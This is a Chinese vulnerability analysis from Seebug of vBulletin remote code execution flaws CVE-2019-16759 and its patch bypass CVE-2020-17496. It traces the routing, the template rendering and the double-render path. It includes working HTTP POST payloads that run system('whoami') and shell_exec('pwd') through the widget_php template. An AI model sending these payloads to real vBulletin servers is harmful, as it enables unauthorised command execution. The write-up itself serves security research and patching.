作者:D4ck
来源:https://www.anquanke.com/post/id/215233
8月10日,安全研究人员Amir Etemadieh披露了vBulletin 论坛的严重漏洞,该漏洞绕过了去年vBulletin 论坛 CVE-2019-16759漏洞补丁,能够实现远程命令执行。本文从环境搭建到漏洞调试,详细的分析漏洞产生的过程。
vBulletin是美国InternetBrands和vBulletinSolutions公司的一款基于PHP和MySQL的开源Web论坛程序,同时世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区,因此此次漏洞危害重大。
此次漏洞使用范围vBulletin 5.5.4 ~ 5.6.2 。
0x1 网站搭建
vBulletin 代码不开源使得环境搭建异常复杂,之前的p8361/vbulletin-cve-2015-7808 docker 环境为vBulletin v5.1.5版本太老了,数据库中没有widget_tabbedcontainer_tab_panel模板,因此又在其他地方找到了符合漏洞版本的源代码。 具体的搭建细节可以参照 https://www.secshi.com/19016.html
0x2 xdebug安装
apt install php-xdebug
并在apache2/php.ini配置文件中添加如下配置
;/etc/php/7.2/apache2/php.ini
[xdebug]
zend_extension="/usr/lib/php/20190902/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host = "127.0.0.1"
xdebug.idekey="PHPSTORM"
xdebug.remote_handler=dbgp
xdebug.remote_port=9000
由于CVE-2019-16759和 CVE-2020-17496 路由处理相同,我们在这主要分析vBulletin quickroute 部分的路由关系
0x1 自动加载
vBulletin 使用vB5_Autoloader实现类的自动加载。相关代码如下
利用spl_autoload_register设置自动加载函数为_autoload,并设置好类搜索路径。
将self::$_paths
中有的类加载到php中。类名和文件名的对应关系如下代码所示:
protected static function _autoload($class)
{
self::$_autoloadInfo[$class] = array(
'loader' => 'frontend',
);
if (preg_match('/[^a-z0-9_]/i', $class))
{return;}
$fname = str_replace('_', '/', strtolower($class)) . '.php';
foreach (self::$_paths AS $path)
{
if (file_exists($path . $fname))
{
include($path . $fname);
self::$_autoloadInfo[$class]['filename'] = $path . $fname;
self::$_autoloadInfo[$class]['loaded'] = true;
break;
}
}
}
0x2 quick路由检测
这里是vBulletin QuickRoute检测分支,CVE-2019-16759和 CVE-2020-17496都是在此分支中触发。
QuickRoute检测函数如下:
主要检测了url中是否为下面开头:
ajax/api/options/fetchValues
filedata/fetch
external
ajax/apidetach
ajax/api
ajax/render
0x3 路由分发
vB5_Frontend_ApplicationLight中的execute函数负责路由分发
该函数将POST和GET参数整合了之后赋值给了$serverData
,在判断
application[handler]
是否存在后利用call_user_func
调用分发,此时的调用
函数为callRender
。
进入callRender
函数,该函数将路由路径切割成了路由参数。
之后设置route信息,并由vB5_Template的staticRenderAjax函数统一处理。
调用处理函数
0x4 路由处理
最后由staticRenderAjax函数进行路由处理,由参数可以看出将render之后的参数取出,与需要渲染的参数一同传入该函数。
0x0 模板渲染功能
vB5_Template::staticRender
进入到路由处理函数staticRenderAjax之后,又进入了staticRender函数
在该函数中利用templateName当作参数创建vB5_Template对象
同时将以下参数注册在template模板对象中
注册新的自动加载路径,之后进入render函数
vB5_Template->render
在render函数的入口处存在一个变量覆盖,将传入的POST和GET参数可直接生成以key为名,以value为值的php变量。如下图所示:
模板获取
再之后就是通过getTemplate 函数以及template 名称获取 template 内容
不在缓存中的模板重新获取
获取模板id号,并调用 Api_InterfaceAbstract
通过一系列调用,到达 template.php:123, vB_Library_Template->fetchBulk(),并在其中利用sql查询将模板取出。
对应从数据库中的取模板代码
查询语句如下
执行渲染模板
0x1 CVE-2019-16759
payload
分析过模板渲染,该漏洞就一幕了然了,首先看下payload
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Connection: close
routestring=ajax/render/widget_php&widgetConfig[code]=system('whoami');
模板渲染漏洞
该漏洞产生的原因为 widget_php 对应的模板中存在恶意代码执行漏洞,数据库中存储的templateid号为
主要命令执行点为
vB5_Template_Runtime::parseAction('bbcode', 'evalCode', $widgetConfig['code'])
命令执行点分析
vB5_Template_Runtime::parseAction 该函数虽然没有函数参数,但是解析了传递过来的所有参数到$arguments 变量由 vB5_Frontend_Controller_Bbcode类中的evalCode方法执行所有的参数
evalCode方法如下:
0x2 CVE-2020-17496
结合前面模板渲染功能分析,可以很快的定位该漏洞。简要来说该漏洞通过二次渲染再次触发了CVE-2019-16759漏洞,具体分析如下。
payload
POST /ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm HTTP/1.1
Host: localhost
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 100
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("pwd"); exit;
第一次渲染
通过分析该代码得到在eval渲染过模板之后,会调用$templateCache->replacePlaceholders($final_rendered)
该函数会实现第二次模板的获取和渲染,然而通过精心构造第二次渲染的内容,可以完美的触发之前的漏洞。
$templateCode = $templateCache->getTemplate($this->template);
if(is_array($templateCode) AND !empty($templateCode['textonly']))
{
$final_rendered = $templateCode['placeholder'];
}
else if($templateCache->isTemplateText())
{
eval($templateCode);
}
else
{
if ($templateCode !== false)
{
include($templateCode);
}
}
if ($config->render_debug)
{
restore_error_handler();
restore_exception_handler();
}
if ($config->no_template_notices)
{
error_reporting($oldReporting);
}
// always replace placeholder for templates, as they are process by levels
$templateCache->replacePlaceholders($final_rendered);
第二次渲染
接着第一次渲染看,从当前代码中看出了如果 $missing
非空,就会再次去调用fetchTemlate函数获取新的模板。
array_diff 这个函数会把第一个数组参数中与其他参数不同的地方记录下来并返回,之后重新去查找并渲染该模板。更有趣的是这个重新加载的模板我们可控,代码如下
下图为pending被注册的代码,其实该代码为第一次渲染出来的代码中的一部分,然后在第二次渲染时用到了第一次渲染时注册的变量。
触发漏洞
这之后其实跟CVE-2019-16759一毛一样了
相关源码:
https://github.com/ctlyz123/CVE-2020-17496
参考链接:
http://foreversong.cn/archives/1415
https://www.seebug.org/vuldb/ssvid-98336
https://xz.aliyun.com/t/6419
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1310/